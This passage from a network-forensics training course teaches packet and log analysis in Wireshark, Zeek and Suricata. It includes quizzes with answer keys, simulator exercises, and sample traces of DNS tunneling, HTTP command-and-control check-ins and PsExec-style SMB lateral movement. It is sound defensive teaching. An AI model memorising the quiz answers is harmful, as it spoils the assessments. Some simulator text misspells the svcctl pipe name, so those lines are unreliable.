4. The lower well-known port is normally the server side and 443 is HTTPS.

Wireshark workflow

Wireshark is the standard tool for packet analysis. Knowing which filter to use, and where, saves hours and prevents you from losing data.

Capture filters versus display filters

Wireshark has two filter languages that are easy to confuse. Capture filters use BPF syntax and are applied before packets are stored, for example host 192.0.2.10 and port 53. They reduce file size but discard everything else forever, so use them only when volume forces you to. Display filters use Wireshark's own field syntax and only hide packets in the view, so the data remains intact. Examples: `ip.addr == 192.0.2.10`, `tcp.port == 445`, `dns.qry.name contains "example"`, `http.request.method == "POST"`, `tcp.flags.syn == 1 && tcp.flags.ack == 0`. A green filter bar means valid syntax; red means an error.

Following streams and reading context

Right-click a packet and choose Follow, then TCP Stream, UDP Stream, TLS Stream or HTTP Stream. Wireshark reassembles the segments and shows the conversation, coloring client data and server data differently. This is the fastest way to read a plaintext protocol such as HTTP, FTP or SMTP and to spot commands, credentials sent in cleartext, or file names. The window title shows the stream index, and you can step through other streams with the spinner. Each followed stream sets a display filter such as `tcp.stream eq 4`, which you can reuse or combine with other conditions to keep the investigation focused.

Statistics menus and exporting objects

The Statistics menu gives summaries that guide you before you read packets: Capture File Properties, Protocol Hierarchy, Conversations, Endpoints, I/O Graphs and DNS or HTTP request tables. Use File, Export Objects to carve files transferred over HTTP, SMB, IMF or TFTP out of the capture. Always hash the exported file with `sha256sum` and handle it in an isolated analysis machine, since it may be live malware. Add useful fields as columns (right-click a field, Apply as Column) such as `dns.qry.name` or `http.host`, and save a profile so your layout persists.

Good habits

Work on a copy of the PCAP and record its hash so your evidence is reproducible. Turn off name resolution in the View menu when you want literal addresses, and note that time can be shown as UTC through View, Time Display Format. Color rules help but do not trust them blindly; a red packet is only a hint. Combine filters with `&&` and `||`, and use the `!` operator to exclude noise, for example `!(arp || dns || mdns)`. Document each filter you used so a colleague can reproduce your findings from the report.

DISPLAY FILTERS

```
ip.addr == 192.0.2.10 && tcp.port == 80
http.request.method == "POST"
dns.flags.rcode == 3
tcp.flags.syn == 1 && tcp.flags.ack == 0
smb2.cmd == 5
tcp.stream eq 4
```

WORKED EXAMPLE

An analyst receives a 300 MB PCAP from a suspected infected workstation 192.0.2.10. She applies `ip.addr == 192.0.2.10 && http.request`, adds `http.host` and `http.user_agent` as columns, and sees one request for `/update.exe` from an unfamiliar host. She follows that TCP stream, reads the cleartext GET and response headers, then uses Export Objects, HTTP to save the file and computes its SHA-256 for lookup. At no point did she alter the original capture.

KEY TERMS

Capture filter: A BPF expression that limits which packets are recorded.

Display filter: A Wireshark expression that hides packets in the view without deleting them.

Follow Stream: A feature that reassembles and displays one conversation in order.

Export Objects: A feature that extracts files carried in protocols such as HTTP or SMB.

Profile: A saved set of columns, filters and colors.

REMEMBER

- Capture filters use BPF and discard; display filters hide only.
- Follow Stream and Export Objects turn packets into readable content and files.
- Document filters and hash evidence so findings are reproducible.

QUICK CHECK

1. Which filter type permanently discards packets that do not match?
 - A) Display filter
 - B) Capture filter
 - C) Color rule
 - D) Profile
2. Which expression finds TCP connection attempts?
 - A) `tcp.flags.syn == 1 && tcp.flags.ack == 0`
 - B) `tcp.flags.fin == 1`
 - C) `http.request`
 - D) `ip.ttl == 1`
3. What does Export Objects do?
 - A) Encrypts the PCAP
 - B) Extracts files carried over protocols like HTTP
 - C) Deletes duplicates
 - D) Resolves DNS names
4. Why work on a copy of the PCAP and record its hash?
 - A) To speed up filtering
 - B) To keep evidence integrity and reproducibility
 - C) To enable decryption
 - D) To reduce RAM use

Answers: 1-B 2-A 3-B 4-B

1. Capture filters act before storage, so unmatched packets are never saved.
2. A SYN without ACK is the first packet of a handshake.
3. It carves transferred files out of reassembled streams.
4. A hash proves the evidence was not changed and lets others verify your work.

PCAP triage method

A large capture can hold millions of packets. A fixed method gets you to the one interesting host in minutes instead of hours.

Start from summaries, not packets

Open Statistics, Capture File Properties to learn the time span, packet count and link type. Then check Protocol Hierarchy: the share of each protocol quickly shows oddities, such as a large percentage of DNS bytes on a workstation, or ICMP carrying much more data than expected. Next open Conversations and sort by bytes or by packets for the IPv4 and TCP tabs. The pair at the top is either a backup, a download, or the incident. Finally open Endpoints to see which single hosts account for traffic, including external addresses that you should recognize or look up.

Form a question and a hypothesis

Triage works best when anchored to a question: which internal host is compromised, what did it contact, and what was transferred. Use the alert or ticket to pick a starting host and time window. Filter to that host and ask whether the protocols match its role. A file server speaking SMB is normal; a file server querying random domains is not. Write down each hypothesis, such as beaconing or data theft, and the specific evidence that would confirm or refute it. This prevents wandering and gives you a clean list of findings to report.

Pivot on what you find

Each finding supplies new filters. A suspicious external IP leads to `ip.addr == 203.0.113.50`, which leads to the domain it served in the TLS Server Name or the HTTP Host header, which leads to the other hosts that also contacted it. Check the first packet time for that destination to find patient zero. Compare timestamps with logs from the proxy, DNS server and EDR to confirm the story. Pivoting outward from a single anomaly through shared IPs, domains, ports and times is the core skill of network forensics.

Record and escalate

Keep a running timeline with UTC timestamps, packet numbers and stream indexes. Save filtered subsets with File, Export Specified Packets so evidence for the report is small and focused. Extract indicators: IPs, domains, URLs, user agents and file hashes, and hand them to the team for hunting across the environment. State confidence honestly: a connection to a known bad IP is a lead, while a followed stream showing a payload download is proof. Stop when your original question is answered and escalate with clear next steps.

TRIAGE ORDER

1. Statistics > Capture File Properties
2. Statistics > Protocol Hierarchy
3. Statistics > Conversations (sort by Bytes)
4. Statistics > Endpoints
5. Filter to the top internal host
6. Pivot: DNS names, HTTP hosts, TLS SNI
7. Export objects, hash, record IOCs

WORKED EXAMPLE

A PCAP from a branch office shows Conversations dominated by 192.0.2.77 to 203.0.113.9 with 1.8 GB sent outbound over TCP 443, while every other host sent under 20 MB. Endpoints confirms the imbalance. The analyst filters to 192.0.2.77, sees TLS SNI of an unfamiliar file-sharing name, and finds the transfer began at 02:14 UTC outside business hours. She records the host, destination and time, and escalates as possible data exfiltration pending a check of the user's activity.

KEY TERMS

Protocol Hierarchy: A summary showing the share of packets and bytes per protocol.

Conversations: A table of traffic between pairs of endpoints.

Endpoint: A single address that sends or receives traffic in a capture.

Pivot: Using one finding to form a new search for related activity.

Patient zero: The first host affected in an incident.

REMEMBER

- Start with Properties, Protocol Hierarchy, Conversations and Endpoints.
- Work from a question and a hypothesis, then pivot on shared IPs, domains and times.
- Keep a UTC timeline and export focused evidence.

QUICK CHECK

1. Which view best shows which host pairs moved the most data?
 - A) Protocol Hierarchy
 - B) Conversations sorted by bytes
 - C) Capture Properties
 - D) Expert Info
2. Why start with summaries instead of reading packets?
 - A) Packets cannot be read
 - B) Summaries quickly narrow millions of packets to the host of interest
 - C) Summaries decrypt traffic
 - D) It is required by law
3. What does pivoting mean in triage?
 - A) Rebooting the sensor
 - B) Using one indicator to search for related activity
 - C) Deleting noise
 - D) Changing profiles
4. Which action best preserves focused evidence for a report?
 - A) Screenshot of the desktop
 - B) Export Specified Packets for the filtered subset
 - C) Delete other packets from the original
 - D) Rename the file

Answers: 1-B 2-B 3-B 4-B

1. Conversations lists pairs with byte counts that can be sorted.
2. Statistics views help you find where to look first.
3. A found IP or domain becomes a new filter for more evidence.
4. Exporting the filtered subset keeps a small, reproducible evidence file.

DNS analysis

DNS is allowed through almost every network, so attackers use it for command and control and data theft. Its logs are also one of the best detection sources you have.

What normal DNS looks like

DNS uses UDP port 53 for most queries and TCP port 53 for large responses and zone transfers. A query carries a name and a record type such as A, AAAA, MX, TXT or CNAME, and the response carries an RCODE: 0 NOERROR, 2 SERVFAIL, 3 NXDOMAIN. Normal workstation traffic is dominated by A and AAAA lookups of recognizable names that repeat often and resolve successfully. In Wireshark use the dns filter, add dns.qry.name and dns.qry.type as columns, and use Statistics, DNS for a breakdown. Establishing this baseline is what lets you notice the unusual.

DNS tunneling and long TXT queries

DNS tunneling hides data inside query names or record data. A tunnel encodes bytes into subdomain labels, for example a long string of letters and digits before the parent domain, so each query carries a small chunk to an attacker-controlled name server. Replies, often TXT or NULL records, carry data back. Indicators include very long names (a label can be up to 63 characters and a name up to 253), high entropy random-looking labels, many unique subdomains of a single parent domain, unusually frequent TXT queries, and a single host producing far more DNS than its peers.

DGA and NXDOMAIN storms

Malware that uses a domain generation algorithm computes many pseudo-random names per day and tries them until one resolves to its server. From the network this looks like many NXDOMAIN responses to names that look like random strings, such as xkqpzv7a.example, from one host in a short time. A rate of NXDOMAIN well above baseline is a strong signal and easy to alert on in dns.log. Defenders can also predict generated names for known families and sinkhole them. Note that misconfigured software can also produce NXDOMAIN bursts, so verify the host and process.

Fast-flux and context

Fast-flux means a domain resolves to a changing set of IP addresses with very short TTLs, sometimes a few seconds, to hide infrastructure and survive takedowns. Look for many A records per answer, rapid changes across repeated queries, and addresses spread over unrelated networks. Combine DNS evidence with context: domain age from WHOIS, passive DNS history, and which process on the host made the query. Content delivery networks also use short TTLs legitimately, so weigh multiple signals before calling a domain malicious, and prefer to block at the resolver once confident.

DNS.LOG STYLE EXCERPT

```
host 192.0.2.10 qtype TXT rcode NOERROR
4f3a9c01b7e2d8aa11c0ffee5d.t1.example.com
9be2077ad41c53e8bb02aa91fd.t1.example.com
11d07ce5a39b2f4408de61c7a2.t1.example.com
unique subdomains of t1.example.com: 2,340 in 10 min
avg query name length: 61
```

WORKED EXAMPLE

A resolver log shows workstation 192.0.2.10 issued 2,340 TXT queries in ten minutes, all subdomains of t1.example.com, each with a 26 to 40 character random-looking label. No other host queries that domain. The analyst concludes this fits DNS tunneling, notes the volume as potential staging of data out, blocks the domain at the resolver, and asks the endpoint team to identify the process that produced the queries.

KEY TERMS

NXDOMAIN: A DNS response meaning the queried name does not exist.

DGA: A routine that generates many pseudo-random domain names for malware to contact.

DNS tunneling: Encoding data inside DNS queries and responses to bypass controls.

TTL (DNS): How long a resolver may cache an answer, in seconds.

Fast-flux: Rapidly rotating the IP addresses behind a domain.

REMEMBER

- Know normal DNS so abnormal volume, length and entropy stand out.
- Tunneling, DGA and fast-flux each leave distinct DNS patterns.
- Confirm with WHOIS, passive DNS and the originating process before blocking.

QUICK CHECK

1. Which signal best suggests DNS tunneling?
 - A) One short A query
 - B) Many unique long high-entropy subdomains of one domain
 - C) A single MX lookup
 - D) A PTR query
2. A burst of NXDOMAIN responses for random-looking names from one host most likely indicates
 - A) DGA activity
 - B) Normal browsing
 - C) A CDN
 - D) A zone transfer
3. What is the maximum length of a full DNS name?
 - A) 63 characters
 - B) 128 characters
 - C) 253 characters
 - D) 1024 characters
4. Fast-flux is characterized by
 - A) Long TTLs and one stable IP
 - B) Short TTLs and rapidly changing IPs
 - C) Only TCP queries
 - D) Only IPv6 answers

Answers: 1-B 2-A 3-C 4-B

1. Tunnels need many unique encoded names under one controlled domain.
2. DGA malware tries many generated names that mostly do not exist.
3. A name may be 253 characters, with each label limited to 63.
4. Short TTLs and rotating addresses hide the real infrastructure.

HTTP analysis

Plain HTTP and even some malware over HTTPS metadata reveal command and control, payload delivery and data theft. HTTP fields are easy to filter and hunt.

Reading an HTTP exchange

An HTTP request has a method (GET, POST, PUT), a path, a version and headers such as Host, User-Agent, Content-Type and Content-Length. The response has a status code (200, 302, 404, 500) and its own headers. In Wireshark filter with `http.request`, `http.response`, `http.host` contains "example" or `http.user_agent`. Following the TCP stream shows both sides. Cleartext HTTP exposes everything; for HTTPS you see only metadata such as the TLS Server Name Indication, certificate fields and sizes unless you hold the session keys or an inspecting proxy decrypts it.

Command and control over HTTP

Malware often chooses HTTP or HTTPS because the traffic blends with web browsing. Signs include a hard-coded or missing User-Agent (for example a default library string such as `python-requests` or a very old browser), requests to a bare IP address instead of a name, unusual paths with long encoded parameters, small repeating POSTs to the same URI, and a Host header that does not match the destination. Servers on odd ports such as 8080 or 8443 are not suspicious by themselves, but combined with the signs above they are worth a look.

Downloads and uploads

Payload delivery appears as a GET for an executable, script, archive or document, with a Content-Type such as `application/octet-stream` or `application/x-msdownload`, and a magic number such as MZ at the start of the data. Data theft appears as large POST or PUT requests, often `multipart/form-data`, from an internal host to an external server. Use File, Export Objects, HTTP to extract files, then calculate hashes and check them against reputation services. Note the file name in Content-Disposition and the timing relative to the first suspicious connection.

Limits and good practice

Many sites use HTTPS, so look for TLS indicators too: rare certificates, self-signed or very new certificates, mismatched SNI, and fingerprints such as JA3 or JA4 that identify the client library. Attackers can fake User-Agents, so treat any single field as a lead, not proof. Corroborate with proxy logs, DNS and endpoint data. Never open a downloaded file on your normal workstation, and defang URLs when you write reports, for example `hxxp://malware[.]example[.]com/update.exe`.

HTTP REQUEST IN A STREAM

```
POST /api/v2/sync HTTP/1.1
Host: 203.0.113.50
User-Agent: python-requests/2.28
Content-Type: application/x-www-form-urlencoded
Content-Length: 482
```

```
d=Qk9HVVMtREFUQS1GT1ItVFJBSU5JTkc...
```

WORKED EXAMPLE

Following a TCP stream from 192.0.2.10, the analyst sees a POST to 203.0.113.50 with a `python-requests` User-Agent every 60 seconds, each with a base64 body of about 480 bytes, and a 200 response returning a short token. The destination is an IP rather than a domain and the user's workstation has no Python-based business tool. The analyst flags probable HTTP command and control, exports the traffic, and passes the IP and User-Agent to the hunt team.

KEY TERMS

User-Agent: An HTTP header identifying the client software.

Content-Type: A header that describes the media type of the body.

SNI: The TLS extension that shows the requested server name in the clear.

JA3: A fingerprint of TLS client parameters used to identify client software.

Defang: Altering a URL or IP so it cannot be clicked or resolved by accident.

REMEMBER

- HTTP exposes methods, hosts, user agents and payloads in cleartext.
- C2 shows as regular small requests, odd agents and bare IP hosts.
- Hash exported files and defang URLs when reporting.

QUICK CHECK

1. Which pairing is most suspicious on a workstation?
 - A) GET to a news site
 - B) Repeating small POSTs to a bare IP with a library User-Agent
 - C) A 304 response
 - D) HEAD to a CDN
2. What can you see in HTTPS traffic without decryption?
 - A) Full URL paths
 - B) Server name, certificate data, sizes and timing
 - C) Cookie values
 - D) POST bodies
3. Which Wireshark feature saves files from HTTP traffic?
 - A) Follow Stream
 - B) Export Objects
 - C) Protocol Hierarchy
 - D) I/O Graph
4. Why defang URLs in reports?
 - A) To shorten them
 - B) To prevent accidental clicks or resolution
 - C) To encrypt them
 - D) To improve SEO

Answers: 1-B 2-B 3-B 4-B

1. Regular small POSTs to an IP with a scripting UA look like C2 check-ins.
2. Only the TLS metadata is visible, not the encrypted content.
3. Export Objects, HTTP carves transferred files.
4. Defanging stops readers from touching a live malicious link.

SMB and lateral movement traffic

After gaining a foothold, attackers move between internal hosts, often over SMB. Seeing that traffic is how you find the spread of an intrusion.

SMB basics

Server Message Block runs on TCP port 445 and provides file, printer and named-pipe access in Windows networks. A session starts with protocol negotiation (SMB2 Negotiate), then Session Setup with authentication (NTLM or Kerberos), then Tree Connect to a share such as \\HOST\C\$. In Wireshark use smb2 or smb, and filter commands, for example `smb2.cmd == 5` for Create and `smb2.cmd == 9` for Write. Normal SMB exists everywhere, so the question is always whether this client should talk to this server, and at this time.

Admin shares and named pipes

Hidden administrative shares exist by default: C\$ for the drive root, ADMIN\$ for the Windows directory and IPC\$ for inter-process communication. Writing an executable into ADMIN\$ or C\$\\Windows by a non-administrative workstation is a classic lateral movement step. IPC\$ gives access to named pipes such as svcctl (service control), atsvc and samr, which let a remote caller run remote procedure calls over DCE/RPC. Seeing svcctl calls such as CreateService and StartService right after a file write is a strong sign of remote execution.

PsExec and similar patterns

PsExec and clones follow a recognizable sequence: authenticate over SMB, connect to ADMIN\$, write a service executable (the original uses PSEXESVC.exe), open the svcctl pipe on IPC\$, create and start a service, then communicate through further named pipes. Impacket-style tools and some frameworks randomize names but keep the same structure. The authenticated account is often a domain admin or a recently stolen credential. On the endpoint the same activity creates Windows events such as 7045 for a service installation and 4624 logon type 3, which you should correlate.

Detection and response

Baseline which workstations legitimately talk SMB to which servers. Alert on workstation-to-workstation SMB, writes to ADMIN\$, many failed logons followed by a success, and a single source touching many hosts in a short time, which indicates scanning or spreading. Segmentation, disabling SMBv1, and host firewalls that block inbound 445 between workstations reduce the risk. During investigation, record source, destination, account, share, file name and times, and ask for the file from the target host to analyze.

SMB2 COMMAND SEQUENCE

```
192.0.2.10 -> 192.0.2.50 Session Setup (user: svc-fake)
192.0.2.10 -> 192.0.2.50 Tree Connect \\192.0.2.50\\ADMIN$
192.0.2.10 -> 192.0.2.50 Create/Write evilsvc.exe
192.0.2.10 -> 192.0.2.50 Tree Connect \\192.0.2.50\\IPC$
192.0.2.10 -> 192.0.2.50 Create pipe svcctl
192.0.2.10 -> 192.0.2.50 DCERPC CreateServiceW, StartServiceW
```

WORKED EXAMPLE

The capture shows 192.0.2.10, a user workstation, authenticating to 192.0.2.50, a file server, writing evilsvc.exe to ADMIN\$ and then calling CreateServiceW over the svcctl pipe. Minutes later 192.0.2.50 begins an outbound connection to 203.0.113.50. The analyst names 192.0.2.10 as the source of lateral movement and 192.0.2.50 as the target, notes the account used, and recommends isolating both hosts and resetting the account.

KEY TERMS

ADMIN\$: A hidden administrative share that maps to the Windows directory.

IPC\$: A share used for named pipes and remote procedure calls.

Named pipe: An inter-process channel exposed over SMB such as svcctl.

Lateral movement: Moving from one compromised host to others inside a network.

PsExec: A tool that runs commands remotely by installing a service over SMB.

REMEMBER

- SMB on 445 carries sessions, shares and named pipes.
- ADMIN\$, IPC\$, svcctl and service creation mark PsExec-like movement.
- Baseline normal SMB, segment the network and correlate with Windows events.

QUICK CHECK

1. Which TCP port does SMB normally use?
 - A) 139 only
 - B) 445
 - C) 3389
 - D) 5985
2. Which sequence is typical of PsExec-style movement?
 - A) DNS then HTTP
 - B) ADMIN\$ write, svcctl pipe, service creation
 - C) FTP login
 - D) ICMP flood
3. Which Windows event ID records a service installation?
 - A) 4624
 - B) 7045
 - C) 4688 only
 - D) 1102
4. Which SMB observation is most alarming?
 - A) A user opening a file server share
 - B) A workstation writing an executable to another workstation's ADMIN\$
 - C) A server talking to a domain controller
 - D) DNS to a resolver

Answers: 1-B 2-B 3-B 4-B

1. Modern SMB runs directly over TCP 445.
2. The tool copies an executable and starts it as a remote service.
3. Event 7045 in the System log records a new service.
4. Workstation-to-workstation admin share writes rarely have a legitimate reason.

Zeek logs and Suricata alerts

Packet captures do not scale to a whole network. Zeek and Suricata turn traffic into structured logs and alerts that a SOC can search every day.

Zeek logs

Zeek is a network analysis framework that writes one log per protocol. `conn.log` records every connection with fields such as `ts`, `uid`, `id.orig_h`, `id.orig_p`, `id.resp_h`, `id.resp_p`, `proto`, `service`, `duration`, `orig_bytes`, `resp_bytes` and `conn_state` (S0 means attempted with no reply, SF a normal completed session, REJ rejected). `dns.log` records `query`, `qtype_name` and `rcode_name`; `http.log` records `host`, `uri`, `method`, `user_agent` and `status_code`; `ssl.log` records `server_name` and certificate details; `files.log` records hashes of transferred files. Logs are tab-separated or JSON.

The uid and community_id pivot

Each connection gets a unique identifier called `uid`, such as `CYn21N3p0F9mFhq9a2`. The same `uid` appears in `conn.log` and in the protocol logs for that connection, so you can join a connection to the DNS query, HTTP request, SSL handshake and files it contained. This is the key pivot: find a suspicious row in `conn.log`, then search for the same `uid` in `http.log` to see the URI and user agent. Community ID is another hash that is stable across tools, which lets you match a Zeek connection with a Suricata alert for the same flow.

Suricata and eve.json

Suricata is an intrusion detection system that matches traffic against rules, such as Emerging Threats signatures, and can also log protocol metadata. Alerts are written to `eve.json`, one JSON object per line, with `event_type` alert, `src_ip`, `dest_ip`, `proto`, and an alert object holding `signature`, `signature_id`, `category` and `severity`. Metadata events for `dns`, `http`, `tls` and `flow` appear in the same file. A rule has an `action`, `header` (protocol, addresses, ports) and options such as `msg`, `content`, `sid` and `rev`. The alert tells you which signature matched, not that an attack succeeded.

Using them together

Typical workflow: a Suricata alert names a signature and a host, you pivot to Zeek `conn.log` by address and time, follow the `uid` into `dns.log` and `http.log`, then open the PCAP segment if a full-packet record exists. Check whether the signature is noisy, whether the destination answered, and how many bytes flowed in each direction. Tune rules by suppressing confirmed false positives rather than disabling whole categories. Retain logs long enough to look back at earlier activity from a newly learned indicator.

EVE.JSON ALERT (ABRIDGED)

```
{
  "timestamp": "2026-03-02T02:14:09Z",
  "event_type": "alert",
  "src_ip": "192.0.2.10",
  "dest_ip": "203.0.113.50",
  "proto": "TCP",
  "alert": {
    "signature": "ET MALWARE Example C2 Checkin",
    "signature_id": 2000001,
    "category": "A Network Trojan was detected",
    "severity": 1
  }
}
```

WORKED EXAMPLE

A Suricata alert flags a C2 check-in from 192.0.2.10 to 203.0.113.50. The analyst searches `conn.log` for that pair, finds `uid` `CYn21N3p0F9mFhq9a2` with 480 bytes out and 1,900 bytes back, state SF, then searches `http.log` with the same `uid` to see a POST with a `python-requests` agent. `dns.log` shows the host resolved `update.example.net` to that IP a moment earlier. The pieces agree, so the alert is treated as true.

KEY TERMS

uid: A unique identifier tying a Zeek connection to its protocol logs.

conn.log: The Zeek log with one row per network connection.

eve.json: Suricata's JSON output of alerts and metadata.

Signature: A rule that matches known malicious or suspicious traffic.

conn_state: A Zeek field summarizing how a connection began and ended.

REMEMBER

- Zeek writes protocol logs; Suricata writes rule-based alerts to `eve.json`.
- Pivot with `uid` and `community_id` across logs.

- Corroborate alerts with conn bytes, DNS and HTTP context.

QUICK CHECK

1. Which field joins conn.log rows to http.log rows?

- A) ts
- B) uid
- C) proto
- D) service

2. A conn_state of S0 means

- A) Normal completion
- B) Connection attempt seen with no reply
- C) Reset by responder
- D) Data only

3. Where does Suricata write alerts in JSON?

- A) conn.log
- B) eve.json
- C) files.log
- D) weird.log

4. A Suricata alert alone proves

- A) A successful compromise
- B) That a signature matched the traffic
- C) The file hash
- D) The user's identity

Answers: 1-B 2-B 3-B 4-B

1. uid is the shared connection identifier.

2. S0 is an attempt with no response, as in a scan or filtered port.

3. eve.json is Suricata's JSON event log.

4. An alert shows a match and needs corroboration to show impact.

Beaconing and exfiltration patterns

Compromised hosts must talk to their operators and ship data out. Statistical patterns in connection logs reveal both even when the content is encrypted.

What beaconing looks like

A beacon is a periodic check-in from malware to its server asking for tasks. In flow data it appears as connections from one internal host to one external destination at near-constant intervals, such as every 60 seconds, with similar byte counts each time. Operators add jitter, a random percentage variation such as 10 to 30 percent, to avoid exact periodicity, so analysts look at the distribution of time deltas rather than a perfect clock. Long sleep times of minutes or hours exist too, which means you need long time windows.

Finding beacons with statistics

Compute the time between consecutive connections for each source and destination pair. A low standard deviation or a tight cluster around a median suggests automation, as does a high count of connections over hours with tiny payloads. Visual aids help: an I/O graph or a scatter plot of connection times shows steady vertical ticks for a beacon, unlike human browsing, which is bursty. Tools such as RITA score beacons from Zeek logs. Exclude known periodic legitimate traffic like NTP, software updates and monitoring agents using allowlists, or you will drown in false positives.

Exfiltration patterns

Exfiltration shows as unusually large outbound transfers, a skewed ratio of orig_bytes to resp_bytes, uploads at odd hours, or traffic to rarely seen destinations such as personal storage services. Attackers may compress and encrypt archives first, stage data on one internal host, and then send it in chunks over HTTPS, DNS, FTP or cloud APIs to stay below size thresholds. Compare each host against its own history and its peer group. Data volume to a new destination within a day of suspicious internal collection activity is a strong correlation.

Response

When you find a likely beacon, confirm with another source: the process on the endpoint, the DNS name, the certificate and the JA3 fingerprint. Block the destination at the firewall or proxy, but preserve the logs and PCAP first, and look for other hosts talking to the same address. For exfiltration, estimate how much and what data, tell the incident lead promptly, and consider legal and notification duties. Document statistics such as interval, jitter, count and total bytes so your finding can be defended.

CONNECTION INTERVALS (CONN.LOG)

```
192.0.2.10 -> 203.0.113.50:443 intervals (s)
60.1 59.8 60.3 60.0 59.9 60.2
count 1440/day median 60.0 stdev 0.2
avg orig_bytes 480 avg resp_bytes 1900
upload to 198.51.100.90:443 at 02:14 1.8 GB
```

WORKED EXAMPLE

Three hosts are charted by connection interval. Host A is bursty and irregular, host B connects every 300 seconds to an update server on an allowlist, and host C connects to 203.0.113.50 every 60 seconds plus or minus 0.3 seconds all day with about 480 bytes each. The analyst picks host C as the beacon, rules out B as expected and A as human, and notes the destination for blocking and for a search across other hosts.

KEY TERMS

Beacon: A periodic call-home connection from malware to its controller.

Jitter: Random variation added to a beacon interval to avoid exact periodicity.

Exfiltration: Unauthorized transfer of data out of a network.

Staging: Collecting data in one place before sending it out.

Allowlist: A list of known legitimate destinations excluded from alerts.

REMEMBER

- Beacons show regular intervals, small repeated payloads and low variance.

- Exfiltration shows as large outbound volume to new destinations.
- Allowlist benign periodic traffic and back findings with statistics.

QUICK CHECK

1. Which pattern best indicates beaconing?
 - A) One 2 GB download
 - B) Connections to one destination every 60 seconds with similar sizes
 - C) A random burst while browsing
 - D) One DNS query
2. Why do operators add jitter?
 - A) To increase speed
 - B) To avoid exact periodic detection
 - C) To encrypt traffic
 - D) To reduce port use
3. Which indicator suggests exfiltration?
 - A) High orig_bytes to a new external destination at 02:00
 - B) Small DNS queries to the resolver
 - C) Local DHCP renewals
 - D) ARP requests
4. What should you do before blocking a beacon destination?
 - A) Nothing
 - B) Preserve logs and PCAP and look for other affected hosts
 - C) Delete the logs
 - D) Reboot the router

Answers: 1-B 2-B 3-A 4-B

1. Regular intervals and similar sizes point to automated check-ins.
2. Jitter blurs the interval so simple periodicity checks fail.
3. Large outbound volume to a new destination at an odd hour is a classic sign.
4. Evidence and scope are needed before the IOC is blocked.

Filter a capture

SCENARIO

You have a 12,000-packet capture from a small office. Host 192.0.2.10 is reported to be acting strangely. The simulator loads the capture into a viewer with a display filter bar.

OBJECTIVE

Use display filters to isolate the host's traffic and its web requests.

STEPS IN THE SIMULATOR

- 1 **Do:** Type `ip.addr == 192.0.2.10` and press Enter.

Simulator shows:

Filter applied. Displaying 3,412 of 12,000 packets.

- 2 **Do:** Add `&& tcp.flags.syn == 1 && tcp.flags.ack == 0`.

Simulator shows:

Displaying 96 packets. 90 are to 198.51.100.20.

- 3 **Do:** Replace the filter with `ip.addr == 192.0.2.10 && http.request`.

Simulator shows:

Displaying 14 packets. Hosts: 203.0.113.50, example.com.

- 4 **Do:** Add `http.host` and `http.user_agent` as columns.

Simulator shows:

Columns added. 11 requests use user agent python-requests/2.28.

- 5 **Do:** Select the first request to 203.0.113.50.

Simulator shows:

GET /update.exe HTTP/1.1, Host: 203.0.113.50, frame 4,117.

ANSWER

The host 192.0.2.10 made 14 HTTP requests, 11 of them to the bare IP 203.0.113.50 with a python-requests user agent, including a GET for /update.exe in frame 4,117. This is the suspicious activity to follow up.

Hint shown in the app: Combine conditions with && and add columns so you can compare fields at a glance.

Follow the TCP stream

SCENARIO

Frame 4,117 from the previous capture begins a plaintext HTTP download from 203.0.113.50. You need to know what file was fetched and whether the transfer completed.

OBJECTIVE

Follow the stream and extract the downloaded file name.

STEPS IN THE SIMULATOR

- 1 Do:** Right-click frame 4,117 and choose Follow, TCP Stream.

Simulator shows:

Stream 21 opened: 1 client pkt, 38 server pkts, 52 KB.

- 2 Do:** Read the client section.

Simulator shows:

GET /update.exe HTTP/1.1 / Host: 203.0.113.50 / User-Agent: python-requests/2.28

- 3 Do:** Read the server headers.

Simulator shows:

HTTP/1.1 200 OK / Content-Type: application/octet-stream / Content-Disposition: attachment; filename="invoice_viewer.exe"

- 4 Do:** Look at the start of the body.

Simulator shows:

First bytes: 4D 5A 90 00 (MZ header).

- 5 Do:** Open File, Export Objects, HTTP.

Simulator shows:

One object listed: invoice_viewer.exe, 51,200 bytes.

- 6 Do:** Save the object and calculate the hash.

Simulator shows:

SHA-256 shown: 9f2c...e1a4 (simulated).

ANSWER

The file name is invoice_viewer.exe, a 51,200 byte Windows executable (MZ header) downloaded over cleartext HTTP from 203.0.113.50 despite the path /update.exe. It should be hashed and checked for reputation.

Hint shown in the app: The real file name is in the Content-Disposition header, not necessarily the URL path.

Find the DNS tunnel

SCENARIO

The same capture holds thousands of DNS queries. One domain is suspected of carrying hidden data in its subdomains.

OBJECTIVE

Identify the domain with long subdomain labels and count its queries.

STEPS IN THE SIMULATOR

- 1 **Do:** Filter with dns.

Simulator shows:

Displaying 2,980 DNS packets.

- 2 **Do:** Open Statistics, DNS and sort by query count.

Simulator shows:

Top parent domains: example.com 40, t1.example.net 1,150, cdn.example.org 22.

- 3 **Do:** Add dns.qry.name as a column and sort by length.

Simulator shows:

Longest names are 58 to 71 characters, all ending in t1.example.net.

- 4 **Do:** Apply dns.qry.name contains "t1.example.net".

Simulator shows:

Displaying 2,300 packets (1,150 queries and 1,150 responses).

- 5 **Do:** Check record types.

Simulator shows:

1,150 queries of type TXT; 1,148 NOERROR.

ANSWER

The domain t1.example.net received 1,150 TXT queries with long, random-looking subdomain labels, which is consistent with DNS tunneling from 192.0.2.10.

Hint shown in the app: Count queries, not packets; each query has a matching response.

Spot SMB lateral movement

SCENARIO

A second capture from the server VLAN shows suspicious SMB activity near 03:00 UTC. Hosts involved are in 192.0.2.0/24.

OBJECTIVE

Locate ADMIN\$ writes and a service creation and name the source and target.

STEPS IN THE SIMULATOR

- 1 **Do:** Filter with smb2.

Simulator shows:

Displaying 640 SMB2 packets.

- 2 **Do:** Filter smb2.filename contains "ADMIN\$" or smb2.tree contains "ADMIN\$".

Simulator shows:

Tree Connect \\192.0.2.50\ADMIN\$ from 192.0.2.10 at 03:02:11.

- 3 **Do:** Filter smb2.cmd == 9 && ip.dst == 192.0.2.50.

Simulator shows:

Write request: file evilsvc.exe, 71,680 bytes, from 192.0.2.10.

- 4 **Do:** Filter dcerpc.

Simulator shows:

svcsctl: CreateServiceW, StartServiceW from 192.0.2.10 to 192.0.2.50.

- 5 **Do:** Check the authenticated account in Session Setup.

Simulator shows:

Account: EXAMPLE\svc-fake.

ANSWER

Source 192.0.2.10 wrote evilsvc.exe to ADMIN\$ on target 192.0.2.50 and created and started a service via svcsctl, using the account EXAMPLE\svc-fake. This is PsExec-style lateral movement.

Hint shown in the app: Look for a file write to ADMIN\$ followed by service control calls.

Pivot through Zeek logs

SCENARIO

A Suricata alert named 203.0.113.50. You have Zeek logs and need to learn which domain the host resolved before connecting.

